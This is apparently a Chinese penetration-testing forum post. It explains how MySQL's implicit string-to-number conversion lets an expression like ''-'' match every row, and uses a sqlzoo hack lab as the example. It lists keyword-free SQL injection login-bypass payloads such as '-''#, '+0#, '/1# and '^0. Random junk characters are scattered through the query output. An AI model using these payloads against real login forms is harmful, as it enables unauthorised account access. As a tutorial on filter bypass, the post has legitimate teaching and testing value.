| 我们先来看这样一个场景。 有以下表结构: . G% U7 F4 M; d% O mysql> desc admin; +----------+--------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra |" d" `) c1 j: y" N1 `' d +----------+--------------+------+-----+---------+----------------+ | id | mediumint(9) | NO | PRI | NULL | auto_increment | | name | char(32) | NO | UNI | NULL | |/ @3 L/ F7 ?% W8 t/ ~, m1 { | password | char(32) | NO | UNI | NULL | | +----------+--------------+------+-----+---------+----------------+6 W. j, d j% L% P |3 r 3 rows in set (0.00 sec)0 p$ w" V) E! @ 执行select * from admin;,成功返回所有记录内容。 +----+--------+----------------------------------+4 I0 h1 E( J4 Y q0 r | id | name | password | +----+--------+----------------------------------+. \% U$ q5 l' D! {! u+ b | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 | | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | | 4 | n00b | ff80e8508d39047460921792273533a4 |2 ~( ], d6 {6 x& }: N +----+--------+----------------------------------+ 3 rows in set (0.00 sec)) r) b5 |6 ]; m% p( b 执行select * from admin where name=”;,没有匹配到任何记录。 mysql> select * from admin where name = '';' E9 T6 H4 u3 R) s% L Empty set (0.00 sec) 那么我们来执行select * from admin where name = ”-”; +----+--------+----------------------------------+ | id | name | password | +----+--------+----------------------------------+. s5 ^" o. ? g! z8 y$ t& w | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 | | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | | 4 | n00b | ff80e8508d39047460921792273533a4 |: e) M e6 [* J* R +----+--------+----------------------------------+8 S8 o% ^2 j/ I7 ^ 3 rows in set, 3 warnings (0.00 sec) 可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: / N t6 p- v" [" I7 \# B0 z3 F3 B / g2 K' g% z' P) R3 t0 E/ _ mysql> show warnings;, w: U7 `8 A- E) d, M8 A0 g) r +---------+------+------------------------------------------ | Level | Code | Message +---------+------+------------------------------------------ | Warning | 1292 | Truncated incorrect DOUBLE value: 'admin | Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s | Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b2 H' }4 [, l* O) E. a! ~5 ]: g$ m +---------+------+------------------------------------------ W0 d# \" c4 q 3 rows in set (0.00 sec); E: w4 d' M. ^* \! m+ p, G* | 提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 ( T3 a: R2 o9 U; j* L, J* K 6 K0 F6 Z C: r6 h, g7 @+ [- o- M mysql> select ''-'';% l9 C1 ?* b8 C1 l# C. D +-------+3 }7 A! d" Y1 i, H( f, A# V- | | ''-'' | +-------++ J" s( d2 c4 Y+ J& P+ \ | 0 |# u! `) b. U% {# [+ R; S9 G" Y. F7 { +-------+ 1 row in set (0.00 sec) 返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: ' O7 m5 P$ c4 H; A mysql> select CAST((select name from admin limit 1,1) as DECIMAL);% U' U# \7 f7 r3 c3 H +-----------------------------------------------------+ | CAST((select name from admin limit 1,1) as DECIMAL) |2 w+ s2 f6 h. T" K6 G +-----------------------------------------------------+ | 0 |% l; L, @) ~& C* |6 Y +-----------------------------------------------------+5 M1 ]7 T$ I, W. }1 S. x 1 row in set, 1 warning (0.00 sec) 因此where语句构成了相等的条件,where 0=”=”,记录被返回。 6 H. ~: ~4 k6 d* d( e2 S# X SQL注入场景: http://www.sqlzoo.net/hack/ 1 l6 L! ?4 ?, i; x4 h/ W - l3 p( ]* A* f+ h( B ( m( s! q$ |. f+ v8 R9 v9 x2 r0 S 如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 3 L/ ^; q) a! w( b M0 x % ^- ?0 S) h: G* ]5 l" c' w) T 1 | C; K2 t( H9 r 仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 . r/ B6 V2 r) }- B! s9 I 4 ]* G7 ?- ]" P% v 除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可" @. E! L# [& F/ o " Z; ?0 j( g& t1 U 1 X- e/ P c/ l o' w1 p+ D% c mysql> select ''/1; +------+ | ''/1 | +------+ | 0 |, A6 A% V& b/ [. d. Z O +------+) e) g1 o( m+ i6 P4 k 1 row in set (0.00 sec) 类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 5 k' v* ^/ w+ z2 @ ? 利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。' L; y$ ~/ A2 ?( d# x3 L" [ N |
| 欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |